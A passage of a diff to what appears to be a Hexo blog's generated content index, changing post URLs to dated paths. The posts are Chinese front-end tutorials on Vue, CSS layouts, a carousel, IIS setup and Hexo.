包管理器中下载</p><ul><li>使用方法就是直接给你需要滚动的列表上创建一个实例，该实例的调用要放在nextTrick（）中，因为触屏滚动每次都是需要更新 dom 的</li></ul></blockquote><h4 id="refs-和-el-数据传递"><a href="#refs-和-el-数据传递" class="headerlink" title="refs 和 el 数据传递"></a>refs 和 el 数据传递</h4><ul><li>refs就是将子组件的数据传递给父组件，el就是 elment，指的是该实例的 dom 分支</li></ul><h3 id="API-接口配置"><a href="#API-接口配置" class="headerlink" title="API 接口配置"></a>API 接口配置</h3><p>新建一个 express.Router() 实例，给它们分配路由路径，记得加入一个 errno ，判断是否正确获取数据</p><blockquote><p>这个时候就发现 node 是多么的强大，前后端全包了~</p></blockquote><h3 id="shopCart-组件"><a href="#shopCart-组件" class="headerlink" title="shopCart 组件"></a>shopCart 组件</h3><p>指的是底部购物车组件，这个部分比较麻烦的是数据绑定，因为我们需要绑定一个数据流，点击添加商品，判断商品是否大于起送价，否则返回空，按钮不可点击，购物车头部无红色小标签，是则按钮变为绿色，购物logo变成蓝色，出现红色计数标签。</p><h3 id="cartcontral-组件"><a href="#cartcontral-组件" class="headerlink" title="cartcontral 组件"></a>cartcontral 组件</h3><p>实现的思路是，点击添加会改变shopcart里的数据，双向绑定，这里用到了 $emit 就是将子路由中的数据传递给父组件，和ref的原理很像，父组件再通过监听事件得到子组件的数据。</p>]]></content>
       
       <categories>
@@ -890,8 +890,8 @@
     
     <entry>
       <title>sticky-footer</title>
-      <link href="/sticky-footer.html"/>
-      <url>/sticky-footer.html</url>
+      <link href="/2017/07/02/sticky-footer.html"/>
+      <url>/2017/07/02/sticky-footer.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>今天，我想讲讲关于stick-footer布局技巧，它的内容大概就是当你页面大小为100%时，希望底部定位一个 X 按钮啥的，不管文本内容不够，或者是文本内容超过屏幕时，这个按钮位置总在文本的下方</p><ul><li>like this<br><img src="http://img0.tuicool.com/fuANjiq.png!web" alt=""></li></ul><h3 id="实现思路"><a href="#实现思路" class="headerlink" title="实现思路"></a>实现思路</h3><ul><li>首先是个包裹了 footer 之外其他元素的容器，将它的最小大小设置为100%<br><br></li><li>然后给这个footer一个负的 magin-top 因为如果该容器最小大小为100%，会将footer元素挤出容器外，你这个时候就要想办法把该元素‘重回战场’<br><br></li><li>sticky-footer 就是这个意思，让他完美保持在底部，而又不会影响主要内容的显示</li></ul><h3 id="四种实现方法"><a href="#四种实现方法" class="headerlink" title="四种实现方法"></a>四种实现方法</h3><h4 id="容器使用负的-margin-bottom"><a href="#容器使用负的-margin-bottom" class="headerlink" title="容器使用负的 margin bottom"></a>容器使用负的 margin bottom</h4><pre><code>&lt;body&gt;  &lt;div class=&quot;wrapper&quot;&gt;      content    &lt;div class=&quot;push&quot;&gt;&lt;/div&gt;  &lt;/div&gt;  &lt;footer class=&quot;footer&quot;&gt;&lt;/footer&gt;&lt;/body&gt;html, body {  height: 100%;  margin: 0;}.wrapper {  min-height: 100%;  /* Equal to height of footer */  /* But also accounting for potential margin-bottom of last child */  margin-bottom: -50px;}.footer,.push {  height: 50px;}</code></pre><h4 id="底部使用负的-margin-top"><a href="#底部使用负的-margin-top" class="headerlink" title="底部使用负的 margin top"></a>底部使用负的 margin top</h4><pre><code>&lt;body&gt;  &lt;div class=&quot;content&quot;&gt;    &lt;div class=&quot;content-inside&quot;&gt;      content    &lt;/div&gt;  &lt;/div&gt;  &lt;footer class=&quot;footer&quot;&gt;&lt;/footer&gt;&lt;/body&gt;html, body {  height: 100%;  margin: 0;}.content {  min-height: 100%;}.content-inside {  padding: 20px;  padding-bottom: 50px;}.footer {  height: 50px;  margin-top: -50px;}</code></pre><h4 id="calc-版本"><a href="#calc-版本" class="headerlink" title="calc 版本"></a>calc 版本</h4><pre><code>&lt;body&gt;  &lt;div class=&quot;content&quot;&gt;    content  &lt;/div&gt;  &lt;footer class=&quot;footer&quot;&gt;&lt;/footer&gt;&lt;/body&gt;.content {  min-height: calc(100vh - 70px);}.footer {  height: 50px;}</code></pre><blockquote><p>calc中的 70px，和50px是假定了content中最后一个元素有个20px的margin bottom，你不必在意这些~</p></blockquote><h4 id="flexbox-版本"><a href="#flexbox-版本" class="headerlink" title="flexbox 版本"></a>flexbox 版本</h4><pre><code>&lt;body&gt;  &lt;div class=&quot;content&quot;&gt;    content  &lt;/div&gt;  &lt;footer class=&quot;footer&quot;&gt;&lt;/footer&gt;&lt;/body&gt;html {  height: 100%;}body {  min-height: 100%;  display: flex;  flex-direction: column;}.content {  flex: 1;}</code></pre><blockquote><p>flexbox版本同样很简单，并且相比前面三种方式，它不需要知道footer的高度，避免了Magic Number的尴尬。</p></blockquote><h4 id="grid-版本"><a href="#grid-版本" class="headerlink" title="grid 版本"></a>grid 版本</h4><pre><code>&lt;body&gt;  &lt;div class=&quot;content&quot;&gt;    content  &lt;/div&gt;  &lt;footer class=&quot;footer&quot;&gt;&lt;/footer&gt;&lt;/body&gt;html {  height: 100%;}body {  min-height: 100%;  display: grid;  grid-template-rows: 1fr auto;}.footer {  grid-row-start: 2;  grid-row-end: 3;}</code></pre><blockquote><p>Chrome Canary 或者 Firefox Developer Edition才能看到效果。</p></blockquote>]]></content>
       
       <categories>
@@ -911,8 +911,8 @@
     
     <entry>
       <title>我向往的明天</title>
-      <link href="/%E6%88%91%E5%90%91%E5%BE%80%E7%9A%84%E6%98%8E%E5%A4%A9.html"/>
-      <url>/%E6%88%91%E5%90%91%E5%BE%80%E7%9A%84%E6%98%8E%E5%A4%A9.html</url>
+      <link href="/2017/07/01/%E6%88%91%E5%90%91%E5%BE%80%E7%9A%84%E6%98%8E%E5%A4%A9.html"/>
+      <url>/2017/07/01/%E6%88%91%E5%90%91%E5%BE%80%E7%9A%84%E6%98%8E%E5%A4%A9.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h4 id="欲望"><a href="#欲望" class="headerlink" title="欲望"></a>欲望</h4><ul><li><p>我很希望，自己的未来能不一样</p></li><li><p>我想要的，就是在平凡中不断的改变自己</p></li><li><p>路上的人，有人嘲笑，有人鼓励</p></li><li><p>我全都笑纳</p></li><li><p>好的留在心里</p></li><li><p>坏的随风飘逝</p></li><li><p>展现真正的自己，表达的更简单一些</p></li><li><p>在机会来临时</p></li><li><p>奋不顾身的抓牢它</p></li><li><p>不要被眼前的利益所迷惑</p></li><li><p>放眼更广阔的未来</p></li><li><p>做好自己</p></li><li><p>抓住身边一切的美好</p></li><li><p>当有一天对一切都无所畏惧</p></li><li><p>那就是</p></li><li><p>重生</p></li></ul><h4 id="谈谈今天"><a href="#谈谈今天" class="headerlink" title="谈谈今天"></a>谈谈今天</h4><blockquote><p>人有时候真的挺纠结，就像我今天看了 《龙飞凤舞》，觉得上流社会的生活有时候即糜烂，又觉得美好<br>有的人花了一生时间，去挤进那样的生活圈，有的人甘愿过着平凡的生活<br>殊不知，彼此之间都存在着羡慕与无奈<br>我也不例外<br>如果哪天，我能够进入这样的世界<br>我是否能够保持清醒，不被外界所干扰，任然保持初心？<br>我也不敢保证，所以我一直在努力<br>为了不亏欠曾经的自己<br>我不敢停下脚步<br>我怕我停下来<br>就找不到回去的路<br>我也舍弃了太多<br>只因为我曾经欠下太多<br>但我不后悔<br>明天的路， 我想自己走<br>即使错了，那也是个经历，我会记在心中<br>将来成功的那天，回忆，何不是一种财富？</p></blockquote><h4 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h4><ul><li>每个人都不一样，早点实战，可能更快明白自己想要什么</li><li>我不认为一定会混技术职场，现在做的是为了我将来的梦想</li><li>我要做一款只属于自己的产品</li><li>即使时间再怎么磨砺</li><li>我也希望不要忘对自己的承诺</li><li>给自己定一个期限 </li><li>6 年</li><li>即使以后再有钱，我也会把健康看做第一位</li><li>我希望那时我有房 有车 还有她</li><li>不想以后不顾家</li><li>未来我还是想闯出自己的一片天地</li><li>结婚的话在30-35之间吧，真希望她是个艺术家</li><li>6 年，努力点，足以在一个行业小有所成</li><li>那时候就是我想要的未来</li><li>加油！！！</li></ul>]]></content>
       
       <categories>
@@ -932,8 +932,8 @@
     
     <entry>
       <title>div,section,article</title>
-      <link href="/div-section-article.html"/>
-      <url>/div-section-article.html</url>
+      <link href="/2017/06/28/div-section-article.html"/>
+      <url>/2017/06/28/div-section-article.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="div"><a href="#div" class="headerlink" title="div"></a>div</h2><p>div在html早期版本就支持了，section和article是html5提出的两个语义化标签。如果只是针对一个块内容做样式化，三者并无区别。</p><h2 id="section"><a href="#section" class="headerlink" title="section"></a>section</h2><p>作为语义化标签，section 应用的典型场景有文章的章节、标签对话框中的标签页、或者论文中有编号的部分。一般来说，当元素内容明确地出现在文档大纲中时，section 就是适用的。</p><h2 id="article"><a href="#article" class="headerlink" title="article"></a>article</h2><p>对于article标签来说，无论从结构上还是内容上来说，article 本身就是独立的、完整的。有个最简单的判断方法是看这段内容脱离了所在的语境，是否还是完整的、独立的，如果是，则应该用article标签。</p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><blockquote><p>合理的语义化标签，可以更好的方便seo，也不知道为什么，我现在更喜欢细节的东西</p></blockquote><p>div &lt; section &lt; article ，语义是从无到有，逐渐增强的。div 无任何语义，仅仅用作样式化或者脚本化，对于一段主题性的内容，则就适用 section，而假如这段内容可以脱离上下文，作为完整的独立存在的一段内容，则就适用 article。原则上来说，能使用 article 的时候，也是可以使用 section 的，但是实际上，假如使用 article 更合适，那么就不要使用 section 。</p>]]></content>
       
       <categories>
@@ -953,8 +953,8 @@
     
     <entry>
       <title>四种常见的布局</title>
-      <link href="/%E5%9B%9B%E7%A7%8D%E5%B8%B8%E8%A7%81%E7%9A%84%E5%B8%83%E5%B1%80.html"/>
-      <url>/%E5%9B%9B%E7%A7%8D%E5%B8%B8%E8%A7%81%E7%9A%84%E5%B8%83%E5%B1%80.html</url>
+      <link href="/2017/06/28/%E5%9B%9B%E7%A7%8D%E5%B8%B8%E8%A7%81%E7%9A%84%E5%B8%83%E5%B1%80.html"/>
+      <url>/2017/06/28/%E5%9B%9B%E7%A7%8D%E5%B8%B8%E8%A7%81%E7%9A%84%E5%B8%83%E5%B1%80.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>对于一个对界要求很高的人来说，今天有必要研究下各种常见的布局，目前罗列了四种布局，来来来，一起看看</p><p><a href="http://jzxer.cn/layout/" target="_blank" rel="noopener">demo</a></p><h3 id="绝对定位法"><a href="#绝对定位法" class="headerlink" title="绝对定位法"></a>绝对定位法</h3><blockquote><p>左右两栏采用绝对定位，中间的由两边的margin撑开<br><code>`</code></p></blockquote><body><br>    <div id="main"></div><br>    <div id="left"></div><br>    <div id="right"></div><br></body><p>#main {<br>    margin:0 200px;<br>    background:red;<br>}</p><p>#left{<br>    position:absolute;<br>    top:0;left:0;<br>    width:200px;<br>    background:blue;<br>    height:100%;<br>} </p><p>#right{<br>    position:absolute;<br>    top:0;right:0;<br>    width:200px;<br>    background:green;<br>    height:100%;<br>}</p><pre><code>这种布局缺点是，当缩放到一定大小的时候，会出现重叠现象### 自身浮动法&gt; 左栏左浮动，右栏右浮动，中间栏放最后</code></pre><pre><code>&lt;body&gt;    &lt;div id=&quot;left&quot;&gt;&lt;/div&gt;    &lt;div id=&quot;right&quot;&gt;&lt;/div&gt;    &lt;div id=&quot;main&quot;&gt;&lt;/div&gt;&lt;/body&gt;　#main {margin:0 200px;background:red;}#left{float:left;width:200px;background:blue;height:100%;}#right{float:right;width:200px;background:green;height:100%;}</code></pre><pre><code>简单而高效，代码还容易理解，适合初学者### 圣杯布局</code></pre><p>//注意元素次序</p><div class="main">Main</div><br><div class="left">Left</div><br><div class="right">Right</div><p>//习惯性的CSS reset<br>body,html{<br>    height:100%;<br>    padding: 0;<br>    margin: 0<br>}<br>//父元素body空出左右栏位<br>body {<br>    padding-left: 100px;<br>    padding-right: 200px;<br>}<br>//左边元素更改<br>.left {<br>    background: red;<br>    width: 100px;<br>    float: left;<br>    margin-left: -100%;<br>    position: relative;<br>    left: -100px;<br>    height: 100%;<br>}<br>//中间部分<br>.main {<br>    background: blue;<br>    width: 100%;<br>    height: 100%;<br>    float: left;<br>}<br>//右边元素定义<br>.right {<br>    background: red;<br>    width: 200px;<br>    height: 100%;<br>    float: left;<br>    margin-left: -200px;<br>    position: relative;<br>    right: -200px;<br>}</p><pre><code>稍微难理解一点，不过这种布局目前我觉得是适配性比其他两种要好的布局方式，缺点是后期维护性不高### 双飞翼布局</code></pre><p>div class=”main”&gt;<br>    <div class="inner"><br>        Main<br>    </div><br></p><p><div class="left">Left</div></p><p><div class="right">Right</div><br><code>`</code></p><blockquote><p>css样式就是将body上的左右margin值去掉，加在新增的 div 中</p></blockquote><p>这种布局方式为淘宝 UED 提出，目前最好用的一种布局方式，相比较圣杯布局，去掉了相对布局，代码更简洁</p><h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><p>一个人的页面能力怎么样，从他对一个网站的布局如何就可以看出来，我觉得一个网站不但要用户看起来舒服，还要工程师在看到你的代码的时候，觉得布局非常巧妙。</p><ul><li>美观大方的布局加上简洁的代码，加油吧，骚年~</li></ul>]]></content>
       
       <categories>
@@ -976,8 +976,8 @@
     
     <entry>
       <title>解析卡片式轮播图</title>
-      <link href="/%E8%AE%BA%E8%BD%AE%E6%92%AD%E5%9B%BE%E7%9A%84%E5%8E%9F%E7%90%86.html"/>
-      <url>/%E8%AE%BA%E8%BD%AE%E6%92%AD%E5%9B%BE%E7%9A%84%E5%8E%9F%E7%90%86.html</url>
+      <link href="/2017/06/24/%E8%AE%BA%E8%BD%AE%E6%92%AD%E5%9B%BE%E7%9A%84%E5%8E%9F%E7%90%86.html"/>
+      <url>/2017/06/24/%E8%AE%BA%E8%BD%AE%E6%92%AD%E5%9B%BE%E7%9A%84%E5%8E%9F%E7%90%86.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><blockquote><p>小记：前两天面试，展现项目过程中经理问我轮播图的原理，我一脸懵逼，因为当时有现成的插件，所以我没怎么去研究，当然，我也知道该来的还是要来的…</p></blockquote><p>首先我大概讲一下，传统轮播图的主要部分：</p><ul><li>图片（废话）</li><li>左右两边的button</li><li>可以跳转的小点<br><a href="http://jzxer.cn/card/" target="_blank" rel="noopener">demo</a></li></ul><h3 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h3><ul><li>轮播图的原理就是一个长图，里面有很多张图，外面包一层展示窗口，将属性设置成overflow：hidden，达到只显示一张的效果，当点击左右两边的按钮时会按照像素来跳转</li></ul><h3 id="无限滚动"><a href="#无限滚动" class="headerlink" title="无限滚动"></a>无限滚动</h3><ul><li>我给两个按钮设为 <b>prev next</b> 一个在点击后，长图会增加一张图的宽度，一个是减少一个图的宽度,在图片的头和尾部加一张图，结构大概为：<pre><code>&lt;div id=&quot;list&quot; style=&quot;left:-200px&quot;&gt;    &lt;img src=&quot;./img/5.jpg&quot; alt=&quot;&quot;&gt;    &lt;img src=&quot;./img/1.jpg&quot; alt=&quot;&quot;&gt;    &lt;img src=&quot;./img/2.jpg&quot; alt=&quot;&quot;&gt;    &lt;img src=&quot;./img/3.jpg&quot; alt=&quot;&quot;&gt;    &lt;img src=&quot;./img/4.jpg&quot; alt=&quot;&quot;&gt;    &lt;img src=&quot;./img/5.jpg&quot; alt=&quot;&quot;&gt;    &lt;img src=&quot;./img/1.jpg&quot; alt=&quot;&quot;&gt;  &lt;/div&gt;</code></pre>当是最后一张图或第一张图时，将第一张上一张跳转为最后一张时的宽，最后一张跳转为第一张时的宽<pre><code>if (newList &lt; -1000) {        dot = 1        list.style.left = -200 + &#39;px&#39;      }      if (newList &gt; -200) {        dot = 5        list.style.left = -1000 + &#39;px&#39;      }</code></pre></li></ul><h3 id="小按钮切换"><a href="#小按钮切换" class="headerlink" title="小按钮切换"></a>小按钮切换</h3><p>这要实现的思想有</p><ul><li>点了小按钮，背景色会变</li><li>当点击切换到其他按钮，图片切换，且上一个按钮会变回原来的颜色</li></ul><pre><code>function showBtn() {        for (var i = 0; i &lt; btns.length; i++) {          if (btns[i].className == &#39;show-btn&#39;) {            btns[i].className = &#39;&#39;            break          }        }        btns[dot-1].className = &#39;show-btn&#39;      }//遍历数组，将有该属性设为空for (var i = 0; i &lt; btns.length; i++) {        btns[i].onclick = function () {          if (this.className == &#39;showBtn&#39;) {            return          }          var myIndex = parseInt(this.getAttribute(&#39;index&#39;))          var leng = -200 * (myIndex - dot)          animate(leng)          dot = myIndex          showBtn()        }      }//遍历数组，将每一个小按钮设了个index属性，这里用到 getAttribute 可以获取除了普通style 或 class 之外的一些属性，获取index值，点击时得到当前的index值，正好和当前的dot值相减，可得跳转的距离 </code></pre><blockquote><p>这里要注意的是，当小按钮被重复按的时候，给他一个判断，不然重复点击同一个图标会重复发生相同事件，占内存，耗cpu</p></blockquote><h3 id="延迟动画函数"><a href="#延迟动画函数" class="headerlink" title="延迟动画函数"></a>延迟动画函数</h3><p>就是当用户点击时，有一个慢慢偏移的过程，而不是闪现的动作，我们来看看实现原理</p><ul><li><p>首先，定义参数</p><pre><code>var time = 300  //位移总时间var interval = 10  //位移时间间隔var speed = leng/(time/interval)  //每次位移量，就是一共调用多少次的意思</code></pre></li><li><p>设置递归函数</p><pre><code>if ((speed &lt; 0 &amp;&amp; parseInt(list.style.left) &gt; newList) || (speed &gt; 0 &amp;&amp; parseInt(list.style.left) &lt; newList)) {          list.style.left = parseInt(list.style.left) + speed + &#39;px&#39;          setTimeout(go, interval)  //递归,调用自身函数</code></pre></li><li><p>判断是否仍在动画<br>如果用户一直在点击切换图时，如果电脑配置不好，或是其他一些因素，可能会轮播卡顿，为了防止这一现象，就用一个判断来看上一次动画是否完成，若未完成就不能继续切换，等到这次动画跳转完为止<br><code>`</code><br>var animated = false   //设初值</p></li></ul><p>if(!animated) {<br>  animate(200)<br>}    //如果为false，则继续动画</p><pre><code>### 自动播放首先给个思路，当鼠标移入的时候，自动播放停止，移出的时候开始自动播放* 我们设两个函数，play（） 和 stop（） </code></pre><p>function play() {<br>        timer = setTimeout(function() {<br>          next.onclick()<br>          play()<br>        },interval)<br>      }<br>      function stop() {<br>        clearTimeout(timer)<br>      }<br><code>`</code><br>给整个 container 容器添加该鼠标事件</p><p>这年头还是不能偷懒啊，说不定当时知道这个人家就把给我要了呢，好气哦…</p><blockquote><p>改天再研究下旋转木马的那种装个13…</p></blockquote>]]></content>
       
       <categories>
@@ -997,8 +997,8 @@
     
     <entry>
       <title>vue学习笔记（一）</title>
-      <link href="/vue%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%88%E4%B8%80%EF%BC%89.html"/>
-      <url>/vue%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%88%E4%B8%80%EF%BC%89.html</url>
+      <link href="/2017/06/18/vue%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%88%E4%B8%80%EF%BC%89.html"/>
+      <url>/2017/06/18/vue%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%88%E4%B8%80%EF%BC%89.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="vue的实例对象与生命周期"><a href="#vue的实例对象与生命周期" class="headerlink" title="vue的实例对象与生命周期"></a>vue的实例对象与生命周期</h2><h3 id="vue-的生命周期图"><a href="#vue-的生命周期图" class="headerlink" title="vue 的生命周期图"></a>vue 的生命周期图</h3><p><img src="http://images.cnblogs.com/cnblogs_com/fly_dragon/276813/o_lifecycle-%E6%A0%87%E6%B3%A8%E7%89%88%E6%9C%AC.png" alt=""></p><ul><li><p>beforeCreate</p><blockquote><p>在实例初始化之后，数据观测(data observer) 和 event/watcher 事件配置之前被调用。</p></blockquote></li><li><p>created</p><blockquote><p>实例已经创建完成之后被调用。在这一步，实例已完成以下的配置：数据观测(data observer)，属性和方法的运算， watch/event 事件回调。然而，挂载阶段还没开始，$el 属性目前不可见。</p></blockquote></li><li><p>beforeMount</p><blockquote><p>在挂载开始之前被调用：相关的 render 函数首次被调用。</p></blockquote></li><li><p>mounted</p><blockquote><p>el 被新创建的 vm.$el 替换，并挂载到实例上去之后调用该钩子。如果 root 实例挂载了一个文档内元素，当 mounted 被调用时 vm.$el 也在文档内。</p></blockquote></li><li><p>beforeUpdate</p><blockquote><p> 数据更新时调用，发生在虚拟 DOM 重新渲染和打补丁之前。 你可以在这个钩子中进一步地更改状态，这不会触发附加的重渲染过程。</p></blockquote></li><li><p>updated</p><blockquote><p> 由于数据更改导致的虚拟 DOM 重新渲染和打补丁，在这之后会调用该钩子。<br>当这个钩子被调用时，组件 DOM 已经更新，所以你现在可以执行依赖于 DOM 的操作。然而在大多数情况下，你应该避免在此期间更改状态，因为这可能会导致更新无限循环。<br> 该钩子在服务器端渲染期间不被调用。</p></blockquote></li><li><p>beforeDestroy</p><blockquote><p> 实例销毁之前调用。在这一步，实例仍然完全可用。</p></blockquote></li><li><p>destroyed</p><blockquote><p> Vue 实例销毁后调用。调用后，Vue 实例指示的所有东西都会解绑定，所有的事件监听器会被移除，所有的子实例也会被销毁。 该钩子在服务器端渲染期间不被调用。</p></blockquote></li></ul><h2 id="实例对象"><a href="#实例对象" class="headerlink" title="实例对象"></a>实例对象</h2><h3 id="data"><a href="#data" class="headerlink" title="data"></a>data</h3><ul><li>类型是Object或者Function。<blockquote><p>var vm = new Vue({<br>data: data<br>})</p></blockquote></li></ul><h3 id="computed"><a href="#computed" class="headerlink" title="computed"></a>computed</h3><ul><li>介绍<br>Vue的计算属性（computed)的属性会自动混入Vue的实例中。所有 getter 和 setter 的 this 上下文自动地绑定为 Vue 实例。这就很强大了，再计算属性中定义的函数里面可以直接使用指向了 vue 实例的 this</li></ul><h3 id="methods"><a href="#methods" class="headerlink" title="methods"></a>methods</h3><ul><li>类型: { [key: string]: Function }<br>methods 将被混入到 Vue 实例中。可以直接通过 VM 实例访问这些方法，或者在指令表达式中使用。方法中的 this 自动绑定为 Vue 实例。</li></ul><h3 id="watch"><a href="#watch" class="headerlink" title="watch"></a>watch</h3><ul><li>类型： { [key: string]: string | Function | Object }<br>一个对象，键是需要观察的表达式，值是对应回调函数。值也可以是方法名，或者包含选项的对象。Vue 实例将会在实例化时调用 $watch()，遍历 watch 对象的每一个属性。</li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Vue的实例封装的还是挺有艺术性的，很符合开发者的思维规范，它的生命周期也非常清晰，使用起来也非常方便。MVVM双向绑定思想也是吊的可以</p>]]></content>
       
       <categories>
@@ -1018,8 +1018,8 @@
     
     <entry>
       <title>搭一个windows云服务器</title>
-      <link href="/%E6%90%AD%E4%B8%80%E4%B8%AAwindows%E4%BA%91%E6%9C%8D%E5%8A%A1%E5%99%A8.html"/>
-      <url>/%E6%90%AD%E4%B8%80%E4%B8%AAwindows%E4%BA%91%E6%9C%8D%E5%8A%A1%E5%99%A8.html</url>
+      <link href="/2017/06/16/%E6%90%AD%E4%B8%80%E4%B8%AAwindows%E4%BA%91%E6%9C%8D%E5%8A%A1%E5%99%A8.html"/>
+      <url>/2017/06/16/%E6%90%AD%E4%B8%80%E4%B8%AAwindows%E4%BA%91%E6%9C%8D%E5%8A%A1%E5%99%A8.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>前段时间看到腾讯云服务器对学生有优惠，而且很大一坨，就买了一个回来研究，废话不多说，开搞咯~</p><h2 id="买服务器"><a href="#买服务器" class="headerlink" title="买服务器"></a>买服务器</h2><ul><li>首先你得入手一个服务器，学生特惠8元/月，还有一块的，不过难抢，机不可失，失不再来，毕业你就没机会了，<blockquote><p>地方的话就近原则，访问应该会快点</p></blockquote></li></ul><h2 id="配置服务器"><a href="#配置服务器" class="headerlink" title="配置服务器"></a>配置服务器</h2><ul><li><p>我这里是配了 Windows2012 64位系统，1核1G内存</p><blockquote><p>Linux的系统，听说比较好用，但目前我还没用过，Windows我觉得也还行</p></blockquote></li><li><p>进入云服务器控制中心，打开安全组，按需求开放端口</p><blockquote><p>我是开放了全部端口的，你可以随意</p></blockquote></li></ul><h2 id="远程连接服务器"><a href="#远程连接服务器" class="headerlink" title="远程连接服务器"></a>远程连接服务器</h2><ul><li>在命令行输入 mstcs 输入你的电脑信息，邮箱查看电脑的默认密码，请及时修改，账号一般默认是administritor，不是的话请先确认</li></ul><h2 id="设置主页"><a href="#设置主页" class="headerlink" title="设置主页"></a>设置主页</h2><ul><li><p>进入云服务器之后，打开服务器管理器，[新建角色] =&gt; [基于角色和功能的安装] =&gt; [从服务器池中选择服务器] =&gt; [web服务器应用程序开发，勾选.net4.5 和CGI] =&gt; [IIS可承载的web核心] =&gt; [确认安装]</p><blockquote><p>中间如果碰到什么问题，仔细看流程，如果还报错，我也帮不了你了</p></blockquote></li><li><p>安装完成之后就可以通过ip地址访问到一个有IIS提示的蓝色网站，该项目的默认地址是 C:inetpub/wwwroot 你想更改的话可以直接拿你的html（htm）文件放在该目录下，一定要保证根目录有个html（htm）文件</p></li></ul><h2 id="设置分页"><a href="#设置分页" class="headerlink" title="设置分页"></a>设置分页</h2><ul><li>如果你想通过类似 localhost/about 路径访问你的about项目，你可以在IIS管理的的 default website添加你的项目路径<blockquote><p>右键 添加应用程序，将该项目的物理路径填上去就可以了 </p></blockquote></li></ul>]]></content>
       
       <categories>
@@ -1041,8 +1041,8 @@
     
     <entry>
       <title>hexo 搭建博客初体验</title>
-      <link href="/hexo%E6%90%AD%E5%BB%BA%E5%8D%9A%E5%AE%A2.html"/>
-      <url>/hexo%E6%90%AD%E5%BB%BA%E5%8D%9A%E5%AE%A2.html</url>
+      <link href="/2017/06/16/hexo%E6%90%AD%E5%BB%BA%E5%8D%9A%E5%AE%A2.html"/>
+      <url>/2017/06/16/hexo%E6%90%AD%E5%BB%BA%E5%8D%9A%E5%AE%A2.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="hexo-搭建博客初体验"><a href="#hexo-搭建博客初体验" class="headerlink" title="hexo 搭建博客初体验"></a>hexo 搭建博客初体验</h1><h2 id="安装-hexo"><a href="#安装-hexo" class="headerlink" title="安装 hexo"></a>安装 hexo</h2><pre><code>&gt; cnpm i hexo-cli -g报错的话就输入&gt; cnpm i hexo --save查看安装是否成功&gt; hexo -v</code></pre><h2 id="hexo配置"><a href="#hexo配置" class="headerlink" title="hexo配置"></a>hexo配置</h2><h3 id="hexo-初始化"><a href="#hexo-初始化" class="headerlink" title="hexo 初始化"></a>hexo 初始化</h3><pre><code>&gt; hexo init然后&gt; cnpm install到这里你差不多就可以看到效果了，如果你要连接 GitHub，就要往下继续 </code></pre><h3 id="连接-GitHub"><a href="#连接-GitHub" class="headerlink" title="连接 GitHub"></a>连接 GitHub</h3><p>在根目录打开 vim _config.yml，翻到最下面，改成我这样子的</p><ul><li>如果你是用 github 仓库 <blockquote><p>deploy:<br>  type: git<br>  repo: <a href="https://git.coding.net/jzxer/jzxer.git" target="_blank" rel="noopener">https://git.coding.net/jzxer/jzxer.git</a><br>  branch: master</p></blockquote></li><li>如果你是用 coding 仓库<blockquote><p>deploy:<br>  type: coding<br>  repo: <a href="https://github.com/j710328466/j710328466.github.io.git" target="_blank" rel="noopener">https://github.com/j710328466/j710328466.github.io.git</a><br>  branch: master</p></blockquote></li></ul><h3 id="安装依赖包"><a href="#安装依赖包" class="headerlink" title="安装依赖包"></a>安装依赖包</h3><pre><code>&gt; npm install hexo-deployer-git --save</code></pre><h2 id="开始"><a href="#开始" class="headerlink" title="开始"></a>开始</h2><pre><code>创建一篇新文章$ hexo new &quot;My New Post&quot;监听$ hexo server打包$ hexo generate上传$ hexo deploy</code></pre><h2 id="主题配置"><a href="#主题配置" class="headerlink" title="主题配置"></a>主题配置</h2><ul><li>打开根目录下的vim _config.yml<blockquote><p>theme: material<br>将主题改成你喜欢的</p></blockquote></li></ul><h2 id="主题推荐"><a href="#主题推荐" class="headerlink" title="主题推荐"></a>主题推荐</h2><p>每个不同的主题会需要不同的配置，主题配置文件在主题目录下的 _config.yml。有两个比较好的主题推荐给大家。</p><h3 id="Yilia"><a href="#Yilia" class="headerlink" title="Yilia"></a>Yilia</h3><p>Yilia 是为 hexo 2.4+ 制作的主题。<br>崇尚简约优雅，以及极致的性能。</p><h3 id="NexT"><a href="#NexT" class="headerlink" title="NexT"></a>NexT</h3><p>目前Github上Star最高的Hexo主题，支持几种不同的风格。<br>作者提供了非常完善的配置说明。</p><h3 id="Material"><a href="#Material" class="headerlink" 